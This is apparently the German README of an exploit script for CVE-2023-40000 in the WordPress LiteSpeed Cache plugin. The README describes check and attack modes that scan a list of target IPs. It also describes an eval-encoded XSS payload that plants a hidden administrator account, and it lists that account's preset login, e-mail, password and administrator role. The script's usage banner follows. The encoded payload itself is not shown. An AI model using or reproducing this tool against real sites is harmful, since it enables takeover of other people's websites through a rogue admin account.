iveresk/cve-2023-40000Proof-of-concept-Exploit für CVE-2023-40000, der gegen das WordPress-LiteSpeed-Cache-Plugin in Versionen vor 5.7.0.1 vorgeht. Unterstützt Check- und Angriffsmodi, mit einem XSS-Payload, der einen Admin-Benutzer erstellt.
Das ist ein PoC für cve-2023-40000. Wordpress LiteSpeed Cache Exploit.
Die CVE kann auf alle LiteSpeed Cache < 5.7.0.1 angewendet werden.
Funktioniert in zwei Modi: check und attack.
Die verwundbaren IPs würden die Version greppen. Wenn es keine Version gibt (das Ziel ist durch WAF geschützt).
XSS-Code ist für die eval-Funktion mit vordefiniertem Login/Passwort/E-Mail verschlüsselt.
# user_login=theattacker
# [email protected]
# pass1=attackpass&pass2=attackpass
# role=administrator
echo "----------------Welcome-to-cve-2023-40000-script-by-1veresk------------+";
echo "+----------------------------------------------------------------------+";
echo "+-------------------For-The-Help---------------------------------------+";
echo "Example#1: ./cve-2023-40000.sh -h--------------------------------------+";
echo "+-------------------For-The--Check-------------------------------------+";
echo "Example#2: ./cve-2023-40000.sh <TARGET_FILE> <MODE>--------------------+";
echo "+----------------------------------------------------------------------+";